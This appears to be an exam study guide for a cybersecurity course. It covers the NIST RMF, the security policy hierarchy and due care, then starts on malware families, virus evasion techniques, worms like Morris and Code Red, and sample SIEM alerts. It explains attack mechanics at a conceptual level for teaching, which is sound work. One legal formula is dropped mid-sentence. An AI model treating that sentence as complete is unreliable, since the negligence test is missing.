- Spend in proportion: strong controls on critical systems and a reasonable baseline on the rest, where the cost benefit test supports them.
- Accept the remainder explicitly: residual risk is known, documented and owned by a senior official, not chased to zero.
- Scope it: the deck warns that assuming every threat attacks every asset makes the project too complex, so threats and vulnerabilities are handled separately and combined at the end, within a defined system boundary.
- Iterate: secure the most important things now, monitor, and extend; the ocean is heated one pot at a time.
The starting point: defining scope. Before any step is taken, the RMF fixes a starting point, which the class notes stress: the organizational inputs (strategic goals, priorities, the resources available, legal obligations) and the architecture description, which defines the information system boundaries. The boundary is the first refusal to boil the ocean: the RMF protects a specific, defined system, not everything at once.
The RMF builds each of these ideas into a step:
| Step | What happens | Output | How it prioritises |
|---|---|---|---|
| 1. Prepare | set the context at organization and system level: roles, the risk management strategy and risk tolerance, an organization-wide risk assessment, common controls, the system's boundary and assets | a risk strategy, a defined boundary | decides in advance what matters and how much risk is tolerable |
| 2. Categorize | rate the system and its information by the impact a loss of confidentiality, integrity or availability would cause: low, moderate or high (FIPS 199; SP 800-60 maps information types) | a security category | a low impact system does not get high impact controls |
| 3. Select | choose the matching control baseline of NIST SP 800-53 (the baselines are in SP 800-53B) and tailor it: add, remove or substitute controls for this system's real risks | a security and privacy plan | only the controls the category and the risks justify |
| 4. Implement | put the controls in place and document how | controls in place | effort goes where the plan points |
| 5. Assess | test that the controls are implemented correctly, operate as intended and produce the desired outcome | an assessment report; a plan of action and milestones (POA&M) for the gaps | the worst weaknesses are fixed first |
| 6. Authorize | a senior official (the authorizing official) weighs the remaining risk and decides whether it is acceptable | an authorization to operate (ATO; the class notes write authority to operate), or a denial | residual risk is accepted by a named person instead of chased forever |
| 7. Monitor | watch the controls, changes to the system and its environment, and new threats continuously; report and reassess | ongoing authorization | the cycle repeats as risks change |
Answers: the seven steps of the NIST RMF (SP 800-37 Rev. 2), in order: the core of 2081 Bhadra Q1 and 2082 internal Q1.
How it decodes: seven words, seven steps, initials in order. It reads as after finishing her first tea, Aama reached Ilam and fainted. The two A's keep their order: Aaipugda (assess) comes before Aama (authorize), and Aama is the one at home whose yes counts. Rev. 1, the six step cycle in the class notes, is the same sentence without Pahilo.
- PPahilo Prepare: pahilo means first, and Prepare is the step Rev. 2 put before all the others
- CChiya Categorize the system by impact: low, moderate or high (FIPS 199)
- SSakera Select the SP 800-53 baseline and tailor it
- IIlam Implement the controls and document them
- AAaipugda Assess the controls; the gaps go into the POA&M
- AAama Authorize: Aama gives the final yes at home, as the authorizing official does with the ATO
- MMurchhit Monitor continuously, and go round again
FIPS 199 in one line. The security category lists the impact for each goal, for example {(confidentiality, high), (integrity, high), (availability, moderate)} for a bank's customer database; FIPS 200 then takes the highest of the three, the high water mark, to choose the baseline. A college's public news site might be {(C, low), (I, moderate), (A, low)}, so moderate overall.
Example: a bank. Categorize: the core banking system is high, the public website moderate, the staff canteen menu app low. Select: the high baseline goes to core banking, a lighter one to the website, very little to the menu app. Assess and authorize: the authorizing official accepts a leftover risk on the website, such as a patch due next month, recorded in the POA&M. Monitor: new threats from threat intelligence feeds send the cycle round again. The bank has not boiled the ocean; it heated the one pot that holds the money.
- What is risk management and why do we need risk management? Explain the risk management in light of NIST RMF framework. 2082 internal Q1
- “You can’t boil the ocean”. Elaborate the intent behind the statement in the light of risk management concepts with reference to NIST RMF framework. 2081 Bhadra Q1 · 10
1.6Security policies and procedures
Policies, standards, baselines, guidelines and procedures PREDICTED
Why an organization needs a policy (deck): to apply security principles consistently throughout the organization; to ensure compliance with information security standards; to limit exposure to external threats; to state senior management's commitment to a secure environment; to provide legal protection; to respond quickly to incidents; to reduce an incident's impact; and to minimise the risk of a data breach. Policies are also the reference documents for internal audits and for settling legal disputes about management's due care and diligence (due care), and a clear statement of management's intent.
| Document | What it is | Mandatory? | Example (encryption) |
|---|---|---|---|
| Policy | management's high-level intent: what and why | yes | customer data must be protected from unauthorised disclosure |
| Standard | compulsory, specific requirements for hardware, software, technology and controls that give the policy its support: a more detailed statement of what must be done to comply | yes | customer data encrypted with AES-256 at rest and TLS 1.2 or later in transit |
| Baseline | the minimum level of security every system must meet; systems below it are taken out of production until brought up to it (the class notes: a specific type of standard, the uniform starting point for every system's configuration) | yes | every database server hardened to CIS benchmark level 1, with disk encryption on |
| Guideline | recommended actions and best practice: how to apply a standard, or advice where no standard exists; says which mechanisms should be used rather than naming a product or settings | no, advisory | prefer the central key management service; rotate keys yearly |
| Procedure | step-by-step instructions giving the exact actions to implement one mechanism or solution | yes | how to enable encryption on a new database server, steps 1 to 6 |
To remember it: a college hostel. The policy says the hostel must be safe at night; the standard says the main gate is locked at 9 pm; the baseline says every room has a working lock; the guideline suggests keeping valuables in the locker; and the procedure is what a late student does: call the warden, show the ID card, sign the register.
The hierarchy (deck): policies are sanctioned by senior management and drive the standards; standards are built on sound policy and carry its weight, and drive the practices, procedures and guidelines, which give the detailed steps required to meet the standards. The security policy is strategic; the mandatory standards, recommended guidelines and detailed procedures are tactical.
Regulatory frameworks sit above the policy (the deck's pyramid of a regulatory framework's role in administrative security): PCI DSS requirement 3, encrypt cardholder data (the standard titles it protect stored cardholder data, stored account data since version 4.0), leads to an encryption policy, then encryption standards such as the Data Encryption Standard (DES), the Advanced Encryption Standard (AES) and the Rivest-Shamir-Adleman (RSA) algorithm, then data encryption procedures, practices and guidelines. DES, on the slide, is long obsolete: its 56-bit key was broken by brute force in the late 1990s and NIST withdrew it in 2005, so a standard written today names AES.
The deck's details of each document:
- Standards are mandatory activities, actions or rules that give a policy its support and reinforcement in direction. Using one type of computer, or one computer manufacturer, is an organizational standard; so is a consistent company email signature; PCI DSS, NIST CSF, ITIL and ISO standards are external ones. In implementing an inappropriate-use policy, for instance, the organization might create a standard that all inappropriate content will be blocked and list the material considered inappropriate; later, technical controls and their procedures block network access to such websites.
- Baselines may come from the Common Criteria (CC, the international product evaluation standard, ISO/IEC 15408), from the Information Technology Security Evaluation Criteria (ITSEC, its European forerunner of 1991; the deck writes evaluation and criteria) or from the standards of NIST, the National Institute of Standards and Technology.
- Guidelines offer recommendations on how standards and baselines are implemented, outline methodologies and suggested actions, and are not compulsory.
- Procedures follow NIST standards, CSF standards, ISO standards or just the organization's own standards, and are mandatory.
Policies are the least expensive control, and often the most difficult to implement (Whitman and Mattord's point, in the deck):
- Why they are inexpensive: a policy costs only the time and effort management spends to create, approve and communicate it, and the time employees spend fitting it into their daily work. Even with an outside consultant, that is small next to technical controls, which need hardware, licences and staff.
- Why they are difficult: a policy works only if people change what they do. The deck's reasons are short: sometimes impracticable, lack of commitment, not matching the organization's objectives. A password policy costs nothing to write; getting 500 staff to follow it without writing passwords on notes is the hard part.
The challenge of implementing security policies (the class notes' four reasons):
- Lack of commitment: a policy is useless without genuine support and enforcement from senior management; if the top does not take it seriously, employees will not follow it.
- Organizational change: policies ask employees to change their daily activities and behaviour; overcoming that resistance and integrating security into the company culture is a significant challenge.
- Complexity and practicality: a policy must be practical, support the organization's success and never conflict with the law; one that is too restrictive or impractical is ignored.
- End-user involvement: to work, a policy must be written with input from the end users who must follow it.
Rules for shaping a policy (deck): it must never conflict with the law; it must stand up in court if challenged; it must be properly supported and administered; it must contribute to the success of the organization; and it must involve the end users of the information systems.
Common policies (deck): acceptable use policy, data breach response policy, disaster recovery plan, business continuity plan, remote access policy, access control policy; and the password policy below.
Example: a password policy and the procedure behind one clause
- Policy clauses: every user has an individual account and never shares it; passwords are at least 12 characters and not reused from other sites; MFA for email, remote access and all administrators; accounts lock after repeated failures; accounts of leavers are disabled on their last day; violations lead to disciplinary action.
- Procedure for the leavers clause: (1) HR sends IT each leaver's name and last day a week ahead; (2) on the last day IT disables the directory, email and VPN accounts; (3) revokes badges and tokens; (4) hands the files to the manager; (5) records every step in the ticket; (6) each month compares active accounts with the HR staff list and disables any mismatch. This is the procedure missing in the terminated vice president's case.
- Define and differentiate between Policies, Standards, Baselines, and Guidelines in information security governance. Explain why security policies are considered the least expensive means of control but are often the most difficult to implement. Notes prediction, ch 1 Q6 · 4+4
- Why does an organization need an information security policy? Draft the main clauses of a password policy for a college, and write the procedure that enforces one of its clauses. Predicted, ch 1 Q7 · 4+6
Due care and due diligence PREDICTED
Knowing and doing. A common way to keep them apart: due diligence is "do detect" (research, assess, verify), due care is "do correct" (implement, operate, fix). Diligence without care is a risk report nobody acts on; care without diligence is controls chosen blindly and never checked.
| Point | Due diligence | Due care |
|---|---|---|
| Question it answers | what are the risks, and do the controls work? | have the reasonable steps been taken? |
| Nature | investigation, assessment, verification; continuous | action and conduct; the controls actually in place |
| Examples | risk assessments, vendor security reviews, vulnerability scans, audits, backup tests, screening new staff | an enforced security policy, patches applied, backups taken, leavers' accounts disabled, staff trained |
| Evidence | assessment reports, audit results, scan logs | configurations, tickets, training records |
| What failure looks like | nobody knew the server was unpatched | the patch was known to be missing and nobody applied it |
Practical example: patching. Due diligence: the IT team follows vendor advisories, scans every server weekly and finds a critical patch missing on the web server. Due care: the team applies the patch within the deadline the patch policy sets. In the class notes' words: the policy that requires systems to be patched is due care, and the scans and audits that verify it are due diligence.
Why failing due care is negligence. In law, negligence has four elements: a duty of care owed to others (an organization holding customer data owes one), a breach of that duty (falling below what a reasonable, prudent organization would do), causation (the breach led to the harm) and damages (a real loss). Failing to exercise due care is exactly the breach element: the organization did less than a prudent one would, so if harm follows it is liable. The more foreseeable the harm and the cheaper the precaution, the clearer the negligence. Judge Learned Hand put it as a formula in United States v. Carroll Towing (1947): a party is negligent if , where B is the burden (cost) of the precaution, P the probability of the loss and L its size. That is the same comparison as a control's cost against the ALE (quantitative analysis).
Why a lack of due care is negligence, in the class notes' terms: it is a failure to fulfil a fundamental responsibility. The organization's leadership, the CEO included, has a duty of care to protect its assets and stakeholders; by not putting in place the reasonable, necessary security measures a prudent person would, it fails that obligation, and that failure to act responsibly is negligence, with legal liability if a breach follows.
Case: Equifax (2017). A patch for a flaw in the Apache Struts web framework was released in March 2017; Equifax did not apply it on a customer dispute portal, attackers exploited it from May, and personal data of about 147 million people was stolen. A US House committee report called the breach entirely preventable, and in 2019 the company agreed a settlement of up to $700 million with US regulators. The flaw was public and a fix existed (diligence would have found it); not applying it was a failure of due care.
Why managers care. Senior management is responsible for due care, and documented due diligence (assessments, audits, current policies) is how an organization proves it acted reasonably. In Nepal, the Privacy Act 2018 restricts how personal information may be collected, used and disclosed (chapter 8).
- Explain the difference between Due Care and Due Diligence, providing a practical example to illustrate the distinction. Why is a failure to exercise due care often considered negligence in a legal context? Notes prediction, ch 1 Q5 · 5+3
1.7Last minute recall
Chapter 1 in one screen
- Cybersecurity: protecting systems, networks and data from unauthorised access, attack or damage, to preserve C, I and A; against malice, mistakes, mischance.
- Domains: network, application, data, IAM, cloud, operations, DR and BCP, governance, user education, physical; Henry Jiang's map in nine branches; the eight CISSP domains.
- Why care: breaches hit operations 36%, finances 30%; McKinsey's CEO issue ($3.5 million a breach, 63% weak or stolen passwords); Buffett's 20 years and five minutes; an attack surface of eight parts, shadow IT.
- Warfare: economic (Bangladesh Bank, NotPetya, Norsk Hydro, Colonial Pipeline), political (Estonia, Stuxnet, Ukraine grid, SolarWinds), technical (TTPs, Ryuk in two hours, big-game hunting, EternalBlue and WannaCry, Log4j, xz, machine learning next).
- History: CERT chart (sophistication up, intruder knowledge down); OT timeline from Maroochy 2000 to Norsk Hydro 2019 (water treatment 2016, VPNFilter 2018); Stuxnet in six steps; WannaCry (MS17-010, kill switch); Mirai in nine steps (default passwords, Minecraft origin).
- Supply chain: trusted supplier as the way in; SolarWinds SUNBURST (APT29, 18,000 customers, FireEye, SUNSPOT); Log4Shell JNDI in five steps (CVE-2021-44228); xz backdoor (Jia Tan, 5.6.0 and 5.6.1, found by Andres Freund); defence: SBOM, third party risk.
- CIA: confidentiality (sniffing; encryption), integrity (virus, MITM; hashing, signatures), availability (DoS; redundancy, backups).
- AIC: OT (PLC, SCADA, MES) puts availability, then integrity, then confidentiality; military puts confidentiality first; Maroochy, Stuxnet.
- Other goals: authenticity, accountability, non-repudiation (digital signature, not a MAC), privacy, assurance; Parker adds possession and utility.
- IAAA: identification, authentication, authorization, accountability, plus non-repudiation; the syllabus writes I4A.
- Factors: know, have, are (plus where, do); MFA = two different categories; phishing-resistant = FIDO2, passkeys, PKI smart cards (M-22-09).
- CNSS cube: McCumber 1991, NSTISSI 4011; goals × states × measures = 27 cells; finds gaps.
- Principles: least privilege, need to know, separation of duties, fail-safe defaults, complete mediation, open design, economy of mechanism, psychological acceptability.
- Defence in depth: policies, physical, perimeter, internal network, host, application, data.
- Terms: threat exploits vulnerability in asset; risk = likelihood of harm; attack, breach, exposure, safeguard.
- Threat categories: twelve (IP, service, espionage, nature, human error, extortion, sabotage, software attacks, hardware, software, obsolescence, theft); CVE, CVSS, zero-day; top eight attacks: phishing, ransomware, DoS, MitM, SQL injection, XSS, zero-day, DNS spoofing.
- Risk management: identify, analyse, evaluate, treat, monitor; to an acceptable level; Sun Tzu: know yourself, know the enemy.
- Identification: inventory (six components, attributes), classify (top secret to unclassified; confidential, sensitive, public), value (weighted factor analysis), threats, vulnerable assets (TVA worksheet); four deliverable worksheets.
- Assessment: L × V minus mitigated plus uncertainty (55, 35, 12); 5 × 5 matrix; ranked worksheet.
- Quantitative: SLE = AV × EF; ALE = SLE × ARO; LCD: 500, 3, 1500, buy (3000 against 2000); safeguard value = ALE before minus ALE after minus ACS.
- Controls: administrative, technical, physical; preventive, deterrent, detective, corrective, recovery, compensating, directive.
- Treatment: avoid, transfer, mitigate, accept (and terminate); residual risk owned.
- NIST RMF: SP 800-37 Rev. 2: prepare, categorize (FIPS 199), select (SP 800-53), implement, assess, authorize (ATO), monitor; do not boil the ocean.
- Policy stack: policy, standard, baseline (mandatory), guideline (advisory), procedure; PCI DSS to policy to DES, AES, RSA; cheapest control, hardest to implement (commitment, change, practicality, end users).
- Due care and diligence: care = prudent action, diligence = investigation and checks; negligence = duty, breach, causation, damages; Equifax.
Chapter 2 · 9 hours · 15 of 80 marks in the syllabus · in all 4 sittings
Malware and cyber attacks
What attackers actually do: the code they plant, the people they fool, the services they flood, the traffic they intercept and the software they break. Every attack is taught the same way, mechanism first, then a real case, then the control that stops it. It is one of the two heaviest chapters, 15 of the 80 marks in the syllabus weighting, and it owns the board paper's web application question.
- Malware: what malicious code is, its families (virus, worm, Trojan, logic bomb, botnet, spyware, rootkit), and ransomware with its extortion ladder.
- Propagation: the routes malware travels, and the patient attackers (APTs) who reach their targets through supply chains.
- Attacks on people: social engineering and phishing in all its forms, and password attacks.
- Attacks on availability and traffic: DoS, DDoS and smurf; man in the middle; masquerading and session hijacking.
- Attacks on software: zero-days (the 2021 Exchange case), buffer overflow, TOCTOU, rootkits, and the web four: XSS, XSRF, buffer overflow and SQL injection.
- Reconnaissance and defence: how attackers map a network, and the preventive, monitoring and coding practices that answer every attack above.
- Chapter 1 treats threats and vulnerabilities in the abstract (assets, threats, vulnerabilities); here they become named attacks. Each payload attacks the CIA triad, and the defences stack as defence in depth.
- Chapter 3 puts these attacks in order: the cyber kill chain and MITRE ATT&CK, where password spraying is technique T1110.003.
- Chapters 4 and 5 are how the attacks are seen when signatures fail: logs, SIEM, EDR and UEBA.
- Chapter 6 takes over when an attack succeeds (incident response); the Exchange case shows why a patch is not a cure.
- Chapter 7 shows attacks meeting weak policy: WannaCry and Equifax (policy breaches).
- 2.1 Types of malware: the families, viruses, worms, virus, worm and Trojan compared, logic bombs, botnets, spyware, ransomware, ransomware defence
- 2.2 Propagation: how malware spreads, advanced persistent threats, supply chain compromise
- 2.3 Social engineering and phishing
- 2.4 DoS and DDoS, IDS and IPS
- 2.5 Man in the middle
- 2.6 Zero-day exploits and the Exchange case
- 2.7 Password attacks
- 2.8 Buffer overflow, TOCTOU, back doors and rootkits
- 2.9 Web application security: XSS, XSRF, SQL injection, the four together
- 2.10 Reconnaissance attacks
- 2.11 Masquerading attacks
- 2.12 Defences: preventive measures, logging and monitoring, best practice
- 2.13 Last minute recall, chapter 2
2.1Types of malware
Malicious code and its families PREDICTED
Two questions classify any malware: how does it spread (its propagation), and what does it do when it arrives (its payload)? The deck's first split is on spreading. Viruses and Trojan horses depend on careless human use to move from system to system; worms spread among vulnerable systems under their own power.
To remember the two questions: take a made-up "Free 10GB Data" app forwarded in a class Viber group. How does it spread? People install it themselves, so it travels like a Trojan. What does it do? It reads the wallet PIN typed on the phone, so its payload is spyware. One piece of malware, one answer to each question.
The major threat concerns the deck opens with are malware (viruses, worms, Trojans), phishing and spear phishing, ransomware, DoS and DDoS, advanced persistent threats (APTs), and web application attacks such as SQL injection and XSS. This chapter takes each as mechanism, case and control.
| Type | What it is | How it spreads | Example |
|---|---|---|---|
| Virus | Attaches to a host (program, boot record, document) and runs when the host runs | Human action: running a file, sharing media, opening a document | Melissa (macro), Michelangelo (boot record) |
| Worm | A standalone program that copies itself across networks | By itself, through vulnerable services and weak passwords | Morris (1988), Code Red (2001) |
| Trojan horse | Looks useful, hides a malicious payload | The user installs it, fooled by the disguise | Rogue antivirus, the 2002 Xbox Trojan |
| Ransomware | Encrypts or locks data and demands payment | Phishing, exposed services, or a worm | WannaCry, Ryuk |
| Logic bomb | Lies dormant until a trigger: a date, an event | Planted by an insider or carried by other malware | Michelangelo, on 6 March |
| Bot and botnet | A remotely controlled infected machine; many form a botnet | Infection, then orders from a command and control (C2) server | Prometei, FritzFrog, Mirai |
| Spyware | Watches the user and sends data out | Bundled software, Trojans | A banking credential stealer |
| Adware | Shows unwanted adverts, redirects browsing | Bundled with free software | Pop-up adware |
| Rootkit | Hides the attacker and keeps privileged access | Installed after a compromise | LoJax (a UEFI rootkit) |
| Back door | A hidden way past authentication | Left by developers, or dropped by malware | The China Chopper web shell |
Answers: the ten malware families in the table above, in its order, for "classify malware into its main types".
How it decodes: ten words, ten families, initials in order: a VIP waiter sold rakshi on the sly in Thamel, and a friend came and gave him a proper thrashing. The first three words are the classic three, told apart by how they spread; the other seven are named for what they do. Two R's: Rakshi is ransomware, Ramrari the rootkit. Two B's: Bechyo is the botnet, Bajaayo the back door.
- VVIP Virus: rides in a host file, needs a human
- WWaiter Worm: spreads itself
- TThamelma Trojan horse: looks useful, the user installs it
- RRakshi Ransomware: encrypts, then demands payment
- LLukaera Logic bomb: lukaera means hidden away, and a logic bomb lies hidden until its trigger
- BBechyo Botnet: many bots under one botmaster
- SSaathi Spyware: watches the user, reports out
- AAayera Adware: unwanted adverts
- RRamrari Rootkit: hides the attacker, keeps privilege
- BBajaayo Back door: a hidden way past the login
The payload decides the damage to the triad (chapter 1): spyware breaks confidentiality, a file-corrupting virus breaks integrity, ransomware and wipers break availability, and many modern families do all three.
How malware shows up in a SOC. Anti-malware and intrusion prevention products report it
as log events that flow into the SIEM (chapter 4). The deck shows three
real alerts, from three products in three formats (the xxxxx are the deck's own
redactions):
<9>CEF:0|McAfee|VirusScan Enterprise|8.8|1096|Solidcore<Terma Send threat events to Syslog Server> alert|2|alertId=1096
alertName=Terma Send threat events to Syslog Server alertType=Firewall detected eventType=SolidcoreEvent host=IFS-SCRIPT
eventname=Anti-virus Standard Protection:Prevent mass mailing worms from sending mail workflowid=
eventTimestamp=06/09/20 06:00:53 UTC eventObject= eventProgramName= eventProgramUser=SYSTEM
CiscoFirepower: <113>Oct 16 03:08:57 logpoint SFIMS: Correlation Event: EGA_IPS_default/EGA_default at Wed Oct 16 03:08:57 2019 UTC:
[1:34945:2] "MALWARE-TOOLS Win.Trojan.Dridex dropper message" [Impact: Vulnerable] From "xxxxx" at Wed Oct 16 03:08:57 2019 UTC
[Classification: A Network Trojan was Detected] [Priority: 1] {tcp} 192.168.2.67:51375 (xxxxx)->192.168.2.67:25 (xxxxx)
BitDefender: gravityzone: [av] {"computer_name":"server","computer_fqdn":"xxxxx","computer_ip":"192.168.7.239","computer_id":"xyzfsjf",
"product_installed":"BEST","user":{"id":"userid","name":"xxxxx"},"malware_type":"file","malware_name":"Trojan.INK",
"file_path":"C:\\Downloads.lnk","final_status":"deleted","timestamp":"2017-04-11T03:31:42.000Z","module":"av"}| Alert | Format | What fired | Where, when, outcome |
|---|---|---|---|
| McAfee VirusScan Enterprise 8.8 (endpoint antivirus) | CEF, the Common Event Format (vendor|product|version|signature|name|severity), carried in a syslog message; the number in angle brackets is the syslog priority | The rule Prevent mass mailing worms from sending mail, which stops any process that is not an approved mail client from sending email, the way a mass-mailing worm spreads | Host IFS-SCRIPT, 06/09/20 06:00:53 UTC, the process running as SYSTEM |
| Cisco Firepower (network IPS) | Plain syslog text; [1:34945:2] is the Snort rule that matched (generator 1, rule 34945, revision 2) | The signature MALWARE-TOOLS Win.Trojan.Dridex dropper message, classified A Network Trojan was Detected, priority 1, the target judged vulnerable | 16 October 2019, a TCP connection to port 25, SMTP: the Dridex dropper was arriving as email |
| Bitdefender GravityZone (endpoint agent BEST, antivirus module) | JSON, one named field per fact | A file detected as Trojan.INK, a malicious Windows shortcut at C:\Downloads.lnk | Computer server at 192.168.7.239, 11 April 2017; final_status deleted, so the threat was removed |
Every alert answers the same questions: which tool saw it, what it saw, on which host and user, when, and what was done about it (blocked, deleted, or only reported). Three products put those facts in three shapes; pulling them into the same fields is the SIEM's normalisation step (chapter 4).
- What is malicious code? Classify malware into its main types according to how each type spreads and what its payload does, giving an example of each. Predicted, ch 2 Q1 · 10
Viruses: how they spread, and how they hide PREDICTED
A virus needs a host and a human. It cannot move on its own: someone must run the infected program, boot from the infected disk or open the infected document. That dependence is what separates it from a worm.
The four propagation techniques in the deck:
| Technique | How it works | Example |
|---|---|---|
| Master boot record (MBR) | Infects the boot sector the computer reads to load the operating system. The MBR is tiny (the first 512-byte sector), so the virus keeps most of its code elsewhere on the disk. It spread on shared media: boot with an infected disk in the drive and the virus loads into memory, infects the hard drive's MBR, and moves on with the next disk. | Michelangelo; Petya ransomware overwrites the MBR and leaves the PC unbootable |
| File infector | File infector viruses infect different types of executable files: they copy their code into programs such as .COM and .EXE, and trigger when the operating system tries to run them. Payloads range from the highly destructive (formatting the hard drive) to the benign (displaying a message). A companion virus is a separate file named to run in place of a real one: game.com beside game.exe, because DOS ran the .COM first when the extension was left out. | Companion viruses of the DOS era |
| Macro | A macro is scripting built into an application to automate repetitive tasks, written in a simple yet powerful programming language, usually Visual Basic for Applications (VBA), and carried inside a document. Macros are productivity-enhancing, and that very feature opens another avenue of infection. | Melissa (1999) |
| Service injection | Service injection viruses are malicious code that uses process injection (DLL injection, process hollowing, thread hijacking) to run inside the memory of a legitimate Windows system process, such as svchost.exe or explorer.exe in the class notes. The malware then masquerades as trusted system activity, bypasses basic process monitoring, blends into normal system and network traffic, and can evade the antivirus on the host. | The defence the deck names: ensure all software receives current security patches |
How a macro virus infects a system, in four steps:
- Delivery: a Microsoft Word or Excel file arrives as an email attachment or a download, usually with an urgent pretext such as an invoice or a CV.
- Execution: opening it runs an auto-execute macro (
AutoOpen,Document_Open) once the user clicks Enable Content, or at once where macros are allowed. - Infection: the macro copies itself into the global template (
Normal.dotmin Word), so every document opened or created afterwards carries it. - Spread and payload: it does its damage and sends itself on. Melissa, in March 1999, mailed the infected document to the first 50 contacts in the victim's Outlook address book, and the flood forced several companies to shut their mail servers.
To remember it: imagine a made-up Internal_Marks.docm dropped in a class Viber
group the night before results, with a yellow bar saying the marks show only after Enable Content.
That one click is the whole attack: the macro runs, settles into the template, and leaves inside
the next document anyone sends.
Virus technologies are the tricks viruses use to hide from antivirus software:
| Technology | What it does | Its weakness |
|---|---|---|
| Multipartite | Uses more than one propagation technique. Marzia (1993) first infected COM and EXE files, above all command.com, then two hours later wrote itself to the MBR: a file infector that became an MBR virus. | Cleaning one part is not enough; the other part reinfects |
| Stealth | Tampers with the operating system to fool antivirus. A stealth boot virus overwrites the MBR, then changes the file access functions so a read of the MBR returns the clean original. | A scan from clean, trusted boot media sees the real disk |
| Polymorphic | Modifies its own code as it travels. Propagation and payload stay the same, but the signature differs on every infection, so signature matching fails. | Heuristic and behaviour-based detection, and emulation |
| Encrypted | Encrypts its body so the signature is hidden. | Anything encrypted needs a decryptor or a key, and the decryption routine is itself a signature the antivirus can match |
Metamorphic viruses go one step past polymorphic ones: they rewrite their whole body, decryptor included, on every copy, leaving no constant part to match.
To remember why signatures fail: a polymorphic virus is a pickpocket who changes his jacket at every bus stop, so the guard watching for a red jacket never matches him. What still gives him away is the way he works the crowd, which is why heuristic and behaviour-based detection catch what signatures miss.
Answers: the virus technologies, the four in the table and the metamorphic fifth.
How it decodes: five words, five technologies, initials in order: uncle reached his in-laws' house and peed all alone. The two M's are the first and last words: Mama is multipartite, Mutyo is metamorphic, the one that goes furthest.
- MMama Multipartite: more than one propagation technique
- SSasurali Stealth: makes the operating system show antivirus a clean copy
- PPugera Polymorphic: a new signature at every infection
- EEklai Encrypted: body encrypted, the decryptor exposed
- MMutyo Metamorphic: rewrites its whole body, decryptor included
Defences: anti-malware with both signatures and heuristics; patching; blocking macros in documents from the internet (recent versions of Microsoft Office do this by default); removable media controls; and backups.
- Distinguish between a computer virus, a worm, and a Trojan horse, focusing on their primary functions and methods of propagation. Briefly describe how a macro virus operates to infect a system. Notes prediction, ch 2 Q3 · 6+2
- Explain the four propagation techniques of computer viruses: master boot record, file infector, macro and service injection. Describe the multipartite, stealth, polymorphic and encrypted virus technologies, and how each one makes detection harder. Predicted, ch 2 Q2 · 5+5
Worms: malware that spreads itself PREDICTED
Why worms are a network-scale risk. Every infected host becomes a scanner hunting for new victims, so a worm grows exponentially: one host infects ten, ten infect a hundred. The scanning traffic alone can deny service, which is exactly what the first famous worm did.
The Morris worm (2 November 1988):
- Author and spread: written by Robert Tappan Morris, a Cornell graduate student. It
spread through four holes in Unix systems: a debug mode in
sendmail, a buffer overflow in thefingerdaemon, trusted-hostrshandrexec, and guessing weak passwords. - Effect: its reinfection logic was too aggressive, so it copied itself onto machines it had already infected until they slowed to a halt. It caused a denial of service on around 10% of the roughly 60,000 machines then on ARPANET.
- Sentence: Morris was the first person convicted under the US Computer Fraud and Abuse Act of 1986: three years' probation, 400 hours of community service and a fine of about $10,000.
- The irony: his father, Robert Morris, was then a senior figure at the National Security Agency's National Computer Security Center (NCSC), the US government's centre for computer security. The deck calls him its director; most accounts give his title as chief scientist. (This NCSC is not the UK's National Cyber Security Centre of 2.12.)
Code Red (July 2001):
- Spread: it exploited a buffer overflow in Microsoft's IIS web server. Each infected server picked hundreds of random IP addresses and probed them for a vulnerable IIS, and each host it infected sought many new targets, which magnified its reach.
- Payload: it lived only in memory, and defaced the local site's pages with Hacked By Chinese!
- Logic bomb: at a set time it would launch a denial of service against 198.137.240.91, then the White House web server. Quick-thinking administrators changed the White House's IP address before the attack began.
Later worms show the pattern holding:
- SQL Slammer (January 2003): a single 376-byte UDP packet exploiting Microsoft SQL Server; it infected some 75,000 hosts in about ten minutes.
- WannaCry (May 2017): ransomware carried by a worm. It used EternalBlue, an exploit of a Windows SMBv1 flaw that Microsoft had patched two months earlier (MS17-010), so unpatched networks fell (chapter 7).
- Stuxnet (found in 2010): a worm built as a weapon, taught with supply chain compromise.
Defences: patch exposed services quickly, since every worm above used a known or soon known flaw; close or filter services that need not face the network; segment the network so one infection cannot reach everything; enforce strong passwords; and watch for scanning traffic with an IDS.
- What is a computer worm? Explain how the Morris worm and Code Red spread. Describe the common methods of malware propagation, with an example of each. Predicted, ch 2 Q3 · 4+6
Virus, worm and Trojan horse compared PREDICTED
The three classic families differ on two things: what each is for (its primary function) and how it gets from one machine to the next (its propagation). A virus infects, a worm spreads, a Trojan deceives.
- The Xbox Trojan (mid 2002): claimed to let PC users run games designed for the Microsoft Xbox gaming system. It simply did not work, but it inserted a value into the Windows Registry that opened a particular web page every time the computer booted. Its creators hoped to cash in on the advertising revenue generated by the huge number of page views. The class notes call this payload adware, and money from adverts is exactly adware's motive (2.1).
- Rogue antivirus: claims to be an antivirus package, then steals personal information or demands payment to update itself; the update simply disables the Trojan.
- Modern Trojans are mostly loaders and remote access Trojans (RATs). Dridex and Emotet began as banking Trojans that stole credentials, and Emotet went on to deliver other malware, as the Ryuk chain shows.
| Point | Virus | Worm | Trojan horse |
|---|---|---|---|
| Primary function | Infect a host and deliver a payload | Replicate across networks, often with a payload | Deceive the user into running a hidden payload |
| Needs a host file | Yes: a program, boot record or document | No, a standalone program | No, it is the program the user runs |
| Propagation | Human action: running the file, booting from infected media, opening the document | By itself, through vulnerable services or weak passwords | The user installs it, fooled by the disguise; it does not copy itself |
| Replicates | Yes, into other hosts | Yes, aggressively | No |
| Speed and reach | Slow, limited by human sharing | Fast, network wide | One victim per install |
| Typical payload | Corrupt or delete data, show messages | Clog the network, open a door, drop ransomware | Steal data, open a back door, install spyware |
| Examples | Melissa, Michelangelo, Marzia | Morris, Code Red, WannaCry | Xbox Trojan, rogue antivirus, Emotet |
To remember it: a virus hitchhikes, a worm walks, a Trojan is invited in. The pen drive from the photocopy shop carries a virus, and nothing happens until someone plugs it in and opens the file; a worm needs no one, so one unpatched laptop on the hostel Wi-Fi starts knocking on every other laptop's door; a Trojan is the "free PUBG UC" app a student installs on purpose because it looks useful.
Why the difference matters to a defender. A virus is stopped by controlling what users run and open (macro blocking, allowlisting, awareness); a worm by patching and segmenting the network, because no human is in the loop to notice; a Trojan by awareness, software allowlisting and downloading only from trusted sources.
Real malware blends them. WannaCry was ransomware delivered by a worm; Emotet arrived by phishing like a Trojan, then spread across networks like a worm. Name the family by its dominant behaviour, and say that it blends.
- Distinguish between a computer virus, a worm, and a Trojan horse, focusing on their primary functions and methods of propagation. Briefly describe how a macro virus operates to infect a system. Notes prediction, ch 2 Q3 · 6+2
Logic bombs, botnets, spyware and adware PREDICTED
The deck groups these as other malware: code that waits, code that obeys a remote master, and code that watches or sells the user.
